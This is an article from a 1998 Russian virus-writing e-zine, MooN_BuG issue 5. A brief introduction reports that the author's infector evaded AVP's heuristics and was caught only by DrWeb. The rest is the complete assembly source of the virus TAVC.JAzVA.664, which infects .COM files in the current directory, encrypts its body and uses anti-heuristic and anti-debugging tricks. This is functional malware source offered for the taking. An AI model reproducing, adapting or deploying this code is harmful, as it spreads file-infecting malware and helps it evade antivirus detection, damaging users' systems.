[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998 file 005
Вирус TAVC.JAzVA.664
by RedArc
Выдался у меня как то час свободного времени и решил я посмотреть на
состояние эвристиков в AVP и DrWeb. Для этого накидал простую зверушку
(инфицирование COM-программ в текущем каталоге), добавил несколько дешевых
пятиминутных антиэвристических приемов... и офигел: ни один из попавших
под руку антивирусов (даже висящий в памяти AVP Monitor) не нашел в
действиях программы jazva.com ничего предрассудительного... Только
эвристик DrWeb оказался на высоте - не пошел ни на какие уговоры и был
тверд - COM.CRYPT.VIRUS
Разумеется, это не говорит об абсолютной надежности анализатора кода,
созданного Даниловым (он прекрасно обламывается другими приемами), но радует
то, что хоть один отечественный антивирус оказался на высоте.
=== Cut ===
Model Tiny
jumps
.code
.486
org 100h
_AAA equ START_Crypt
START:
call BEGIN
db 100h dup (90h)
ret
BEG1:
mov ax,ss
cli
mov ss,ax
pop ax
sti
mov si,_AAA
pop bx
add si,bp
pop cx
push si
ret
J_1:
xchg cx,dx
jmp J_2
BXDX_Fraud:
push cx
pushf
mov ax,bp
push cs
sub ax, BXDX_Offs-INTR_LENGTH
push ax
xor bx,bx
mov ah,30h
mov es,bx
jmp dword ptr es:[21H*4]
INTR_LENGTH equ $-BXDX_Fraud
add bx,ax
push cs
mov dx,bx
pop es
sub bx,dx
pop cx
ret
J_2:
xchg bx,cx
xchg ax,dx
jmp J_3
DX_Fraud:
xchg ax,bx
std
xor dx,cx
cld
xchg ax,bx
ret
J_3:
xchg ax,bx
xchg cx,dx
jmp J_4
XCHG_:
cli
xchg dx,cx
sti
xchg bx,cx
cli
xchg ax,dx
sti
xchg ax,bx
cli
xchg cx,dx
sti
xchg bx,cx
cli
xchg ax,dx
sti
ret
J_4:
xchg bx,cx
xchg ax,dx
xchg ax,bx
jmp J_5
BG1 equ $-BEG1
BXDX_Offs equ $-BXDX_Fraud
BEGIN:
pop di
mov bp, word ptr cs:[101h]
add bp,di
push si
mov si,bp
add si,START_Crypt
push di
mov di,si
mov cx,S_C_L
mov ax,3500h
int 21h
push es
push bx
mov ax,2500h
push cs
pop ds
mov dx,bp
sub dx,BG1
push dx
int 21h
push cs
pop es
CRYPT_Loop:
call BXDX_Fraud
lodsw
dec ax
xor ax,cx
call DX_Fraud
xchg al,bh
call DX_Fraud
xchg ah,bl
call DX_Fraud
call XCHG_
call DX_Fraud
jmp J_1
J_5:
xor ax,cx
inc ax
stosw
call BXDX_Fraud
loop CRYPT_Loop
pop si
add si,8
mov di,si
lodsw
add ax,L_1
stosw
div cx
mov si,bp
add si,START_Crypt
mov di,si
mov cx,S_C_L
jmp CRYPT_Loop
START_Crypt equ $-BEGIN
S_C_0:
cli
pusha
pushf
popa
popf
sti
jmp S_C_0
S_C_1:
mov di,bp
sub di,BG1-2
mov ax,_AAA
stosw
ret
db 0h,'JAzVA',0h
L_1 equ $-S_C_0
push si
mov si,80h
mov dx,word ptr cs:[si]
mov word ptr cs:[si],2501h
mov ax, word ptr cs:[80h]
dec ax
mov word ptr [si],dx
pop si
pop dx
pop ds
int 21h
call S_C_1
pop di
pop si
push cs
pop ds
sub di,si
push cs
mov cx,bp
pop es
xchg si,di
add cx,OLD_BYTE
xchg cx,si
rep movsb
mov dx,bp
add dx,END_Crypt
call SETDTA
call FINDFIRST
TR1:
jb Not_Found
jmp Test_File
Not_Found:
mov dx,80h
call SETDTA
xor ax,ax
inc ah
jmp ax
;----------------------------------
Save_DXCX equ $-BEGIN
dw ?
dw ?
C_Mask equ $-BEGIN
db 0h,0h,0h,0h,0h,0h
db 00fh
BG_1:
OLD_BYTE equ $-BEGIN
db 90h,90h,90h
BEG_LEN equ $-BG_1
;-----------------------------------
Test_File:
push bx
add bx,1ah
mov ax,[bx]
cmp ax,1000
jge a2
jmp short Find_Next
a2:
and ax,0f000h
cmp ax,0f000h
jnz Len_Tested
Find_Next:
pop bx
mov ah,4fh
int 21h
jmp TR1
Len_Tested:
add bx,04h
xchg dx,bx
push dx
mov ax,4301h
xor cx,cx
int 21h
mov ax,3d02h
int 21h
xchg ax,bx
call LoadDateTime
mov ah,3fh
mov cx,BEG_LEN
mov dx,bp
add dx,OLD_BYTE
push dx
int 21h
pop si
cmp byte ptr ds:[si],0E8h
je Close_File
jmp short Uses_File
Close_File:
call SaveDateTime
mov ah,3eh
int 21h
pop dx
mov si,dx
sub si,09h
lodsw
xchg ax,cx
mov ax,4301h
int 21h
jmp Find_Next
Uses_File:
call MoveEnd
add ax,BG1
push ax
mov di,bp
add di,LBL
mov si,bp
sub si,BG1
mov cx, END_Crypt
add cx, BG1
rep movsw
mov si,LBL+BG1+START_Crypt
add si,bp
mov di,si
mov cx, S_C_L
push bx
CRYPT_Loop1:
lodsw
xor ax,cx
xchg al,bh
xchg ah,bl
xchg ax,bx
xor ax,cx
inc ax
stosw
loop CRYPT_Loop1
pop bx
mov ah,40h
mov dx,bp
add dx,LBL
mov cx,BG1
add cx,END_Crypt
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
push cs
pop es
push cs
pop ds
pop ax
mov si,bp
add si,OLD_BYTE
mov byte ptr cs:[si],0e8h
sub ax,3
mov word ptr cs:[si+1],ax
mov ah,40h
mov dx,si
mov cx,BEG_LEN
int 21h
jmp Close_File
MoveEnd:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
ret
SETDTA:
mov ah,1ah
mov bx,dx
int 21h
ret
FINDFIRST:
cld
mov ah, 4eh
mov cx, 0ffffh
mov dx,bp
add dx,C_Mask
mov si,dx
mov byte ptr [si],'*'
inc si
mov byte ptr [si],'.'
inc si
mov byte ptr [si],'c'
inc si
mov byte ptr [si],'o'
inc si
mov byte ptr [si],'m'
int 21h
mov si,bp
add si,C_Mask
mov byte ptr [si],0h
inc si
mov byte ptr [si],0h
inc si
mov byte ptr [si],0h
inc si
mov byte ptr [si],0h
inc si
mov byte ptr [si],0h
ret
LoadDateTime:
mov ax,5700h
int 21h
push es
push ds
pop es
mov di,bp
add di,Save_DXCX
xchg ax,dx
stosw
xchg ax,cx
stosw
pop es
ret
SaveDateTime:
mov si,bp
add si,Save_DXCX
lodsw
xchg ax,dx
lodsw
xchg ax,cx
mov ax,5701h
int 21h
ret
db 0h,'This virus was created by TAVC',0h
END_Crypt equ $-BEGIN
S_C_L equ $-S_C_0
DTA db 80h dup (?)
LBL equ $-BEGIN
END START
=== Cut ===